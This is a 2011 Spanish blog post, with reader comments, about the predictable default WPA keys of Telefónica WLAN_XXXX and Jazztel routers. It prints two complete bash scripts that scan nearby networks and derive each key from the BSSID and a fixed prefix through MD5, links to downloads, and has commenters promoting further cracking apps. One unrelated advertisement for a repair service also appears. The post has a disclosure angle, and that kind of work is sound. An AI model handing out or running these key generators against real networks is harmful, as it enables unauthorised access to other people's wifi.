9 feb 2011

Crackear WPA: rotura de WLAN_XXXX

Hace pocas semanas se publicó en Internet el 'algoritmo' de rotura de claves WPA del estilo WLAN_XXXX y Jazztel_ZZZZ. Es sabido por todos o por casi todos que este tipo de compañías generan sus claves Wifi en función de los propios parámetros del dispositivo. Ya ocurría con las claves WEP, las cuales podían ser 'rotas' en apenas segundos, ya que la variedad estaba en 3 o 4 alfanuméricos que había que sacar por fuerza bruta. Computacionalmente esto no es nada para una máquina de hoy en día, por lo que como se dijo anteriormente, en 3 o 4 segundos se dispone de la clave WEP.Ahora parece que estas compañías lo han puesto aún más fácil. Simplemente se debe descargar el script en bash al equipo y ejecutarlo con los parámetros requeridos. Al finalizar la ejecución del script se dispondrá de la clave WPA para este tipo de redes Wifi.ScriptSegún hemos investigado, gracias al artículo de securityByDefault, hemos observado 2 tipos de script. Realmente uno es un subconjunto del otro, realizan la misma operación pero para que se entienda lo han 'tuneado' de una manera u otra.Script 1: (original by a.s.r)Hay rumores en Internet sobre la autoridad del método, algunas voces comentan que pertenece a un grupo que no ha querido publicidad sobre su hazaña. Otros comentan que el algoritmo fue desarrollado por a.s.r.Lo primero que realiza el script es la comprobación para ver si se ha ejecutado con al menos un argumento. Este primer argumento debe ser la interfaz wifi de la máquina. También se comprobará después, si el script fue ejecutado por root.
#!/bin/bashecho "[] CalcWLAN-ng (original source by a.s.r, improved by pof)"if [ -z $1 ]; thenecho "Usage: $0 "echo "Example: $0 wlan0"exit 1fiif [ $(whoami) != "root" ]; thenecho "You must be root to scan networks."exit 1fi
Después, se realizará un escaneo de redes wifi mediante el comando iwlist y se almacenará en una variable las redes y datos de éstas que tengan como nombre WLAN y JAZZTEL.
echo "Scanning wifi networks on interface $1"TMP=$(tempfile)iwlist $1 scan > $TMPSSIDLIST=`cat $TMP |egrep "(WLAN|JAZZTEL)_...." |cut -f 2 -d \"`
A continuación, se realiza una comprobación necesaria, ver si existe alguna red dentro de la variable $SSIDLIST, ya que si no existe ninguna, no se tendrá ninguna red vulnerable cerca a este algoritmo.
if [ -z "$SSIDLIST" ]; then echo "No WLAN_XXXX or JAZZTEL_XXX networks found" exit 1fi
Y por último, se ejecutará en un bucle que recorrerá todas las redes vulnerables que se han almacenado en la variable $SSIDLIST el procedimiento para obtener la clave WPA. Primero se obtiene la MAC de una de las redes vulnerables, se obtiene el BSSID entre otros valores. La llave estará cifrada con MD5, y los 20 primeros caracteres de todo el proceso serán la clave WPA.
for SSID in $SSIDLIST; do echo MAC=$(cat $TMP |grep -B6 $SSID |grep "Address:" |awk '{print $5}') HEAD=$(echo -n "$SSID" |tr 'a-z' 'A-Z' |cut -d_ -f2) BSSID=$(echo -n "$MAC" |tr 'a-z' 'A-Z' |tr -d : ) BSSIDP=$(echo -n "$BSSID" |cut -c-8) KEY=$(echo -n bcgbghgg$BSSIDP$HEAD$BSSID |md5sum |cut -c-20) echo "SSID: $SSID KEY: $KEY"done
Script 2El segundo script visto por Internet, es un script aún más simple y aunque el proceso central es la base también del anterior, es decir, sacar la MAC, BSSID, MD5. Se puede observar como solo funciona para sacar la WPA de una red, que será pasada como parámetro de entrada del script.Para ejecutar el script se deben pasar 2 parámetros, si no el script devolverá error y saldrá de la ejecución indicando como debe ser ejecutado. Estos 2 parámetros son el ESSID y el BSSID.
#!/bin/bash echo CalcWLAN by a.s.r if [ $# -ne 2 ] then echo "Usage: $0 " echo echo "Example: $0 WLAN_C58D 64:68:0C:C5:C5:90" exit 1 fi HEAD=$(echo -n "$1" | tr 'a-z' 'A-Z' | cut -d_ -f2) BSSID=$(echo -n "$2" | tr 'a-z' 'A-Z' | tr -d : ) BSSIDP=$(echo -n "$BSSID" | cut -c-8) KEY=$(echo -n bcgbghgg$BSSIDP$HEAD$BSSID | md5sum | cut -c-20) echo "La puta clave es $KEY"
Una de las mejores frases del script es la última... 'La p*** clave es $KEY'. En conclusión, esperemos que el concepto haya quedado claro y que por vuestra seguridad si disponéis de alguna de estas redes probarlo y comentarnos que ocurre.Ser buenos ;)Enlaces: Descarga Script 1 Descarga Script 2

22 comentarios:

  1. Excelente PabloLeí sobre la facilidad de quitar las WAP de Jazztel... pero creí que lo habían obligado a quitarlo de la red xDMuchas gracias por compartirlo! ^^

    ResponderEliminar
  2. [...] This post was mentioned on Twitter by Flu, hackplayers. hackplayers said: Crackear WPA: rotura de WLAN_XXXX: Hace pocas semanas se publicó en Internet el ‘algoritmo’ de rotura de claves ... http://bit.ly/giQla0 [...]

    ResponderEliminar
  3. Tema de rabiosa actualidad como poco ; ) Yo me enteré a través de S21Sec y la página que enlazaban:http://kz.ath.cx/wlan/Tienen el script en PHP, Javascript, Python, Bash y Batch si no recuerdo mal.... pero ahora no accedo a la página : (Un saludo.

    ResponderEliminar
  4. En Hispasec han aclarado el tema hablando con seguridadwireless.net, quienes le han explicado porque ocultaron el algoritmo a los usuarios al día siguiente de publicarlo:http://www.hispasec.com/unaaldia/4491Me parece un poco feo el gesto de los que han insultado a seguridadwireless.net, son unos grandes profesionales, conozco a varios de ellos personalmente y son además gente fantástica y con buena ética. Permaneceremos a la espera para ver si Comtrend saca alguna solución, de momento está recibiendo la ayuda de seguridadwireless.net, y os la contaremos en el blog.saludos!

    ResponderEliminar
  5. Por cierto, yo tengo en mi casa uno de los routers afectados, me parece que voy a tener arrancado el firesheep por si acaso hay que devolver pelotas... xD

    ResponderEliminar
  6. Mu bueno!!!...lo lei en forocoches la semana pasada!! me he bajado la aplicacion que hay para el android y todo!!!...salu2

    ResponderEliminar
  7. Aunque uno supone que por estas latitudes todo el mundo lo sabe, no está de más recordar que esta vulnerabibilidad sólo afecta a las contraseña por defecto.

    ResponderEliminar
  8. Hay una aplicación en Java que lo facilita más todavía.Está en esta web y se llama Wifi Auditor, simplemente es genial:http://www.ldelgado.esPor cierto, mi router es vulnerable.

    ResponderEliminar
  9. Hola, la verdad que se ha montado una buena con el tema de los Routers...Por cierto compas, por si os interesa tengo un conocido que repara electrodomésticos por la zona de Madrid y no cobra la visita (si vivís cerca de la zona donde suele trabajar), es algo difícil de ver esto en un SAT, además que tiene un teléfono 91-... normal y no un 902, como otros servicios técnicos.A mi me suelen arreglar las cosas ajustantome los precios bastante y la verdad que ando muy contento, arreglan de todo. Os dejo su web:http://madridrepara.es/saludos

    ResponderEliminar
  10. No es por hacer SPAM ni nada parecido, pero si algún administrador así lo considera que elimine este mensaje. Yo con mis humildes conocimientos sobre programación he implementado este algoritmo en una sencilla aplicación Java muy fácil de utilizar, si a alguien le interesa la puede descargar desde aquí: http://tecnogame.co.cc/?q=content/mis-aplicacionesAunque es mucho mejor la que dice Albert en su comentario: Albert: Hay una aplicación en Java que lo facilita más todavía.Está en esta web y se llama Wifi Auditor, simplemente es genial:http://www.ldelgado.esPor cierto, mi router es vulnerable.Saludos y seguir así

    ResponderEliminar
  11. No es SPAM DoLpHiN ;) la echaremos un ojo, incluso si quieres se puede publicar un artículo sobre su uso!Saludos!

    ResponderEliminar
  12. Se me ha adelantado Pablo, te iba a decir lo mismo, si quieres hablamos de ella desde la comunidad.un abrazo

    ResponderEliminar
  13. Ya he contestado a Pablo por correo, estamos en contacto.La aplicación es que es tan sencilla que no hay mucho que comentar, pero bueno se pueden explicar las dos cosillas que hay que saber para utilizarla.Muchas gracias. Hablamos.

    ResponderEliminar
  14. [...] info en ‘crackear WPA de Telefónica y Jazztel‘. cracking, wifi, [...]

    ResponderEliminar
  15. [...] Comprobamos después si la red es crackeable, para ello comprobamos si la red es del tipo WLAN_XXXX o JAZZTEL_XXXX. Si es así, creamos una instancia a la clase KeyGenerator (por cortesía de dolphinziyo) y llamamos a su método calcularClave pasándole los cuatro últimos dígitos del ESSID y el BSSID en mayúsculas. Este método sustituye las cuatro últimas letras del BSSID por las cuatro últimas letras del ESSID, posteriormente se le añade a la cadena el BSSID original. Finalmente, al principio de la cadena añade la palabra “bcgbghgg”, calcula la suma MD5 de la cadena entera y se queda con los 20 primeros dígitos que corresponden a la clave de la red (ver entrada http://www.flu-project.com/crackear-wpa-rotura-de-wlan_xxxx.html). [...]

    ResponderEliminar
  16. [...] sale al mundo Liberad A Wifi, o LAW, una aplicación (prueba de concepto) para Android del famoso problema de las claves de generación por defecto de los routers de Telefónica y Jazztel. Si tienes un router con cifrado WPA de estas compañías os aconsejamos que auditéis con esta [...]

    ResponderEliminar
  17. [...] autor del curso de Flu Project - Introducción al Desarrollo en Android, que explota el famoso problema de las claves de generación por defecto de los routers de Telefónica y Jazztel. Si tienes un router con cifrado WPA de estas compañías os aconsejamos que auditéis con esta [...]

    ResponderEliminar
  18. [...] Hoy os traemos la nueva versión de LaW, la herramienta para obtener las credenciales por defecto de las redes wireless de Telefónica y Jazztel. Esta herramienta, permite obtener las contraseñas de acceso a estas redes, ya que su algoritmo es público desde hace ya tiempo. [...]

    ResponderEliminar
  19. ¿En serio os parece que una aplicación java es más sencilla que este simple script?

    ResponderEliminar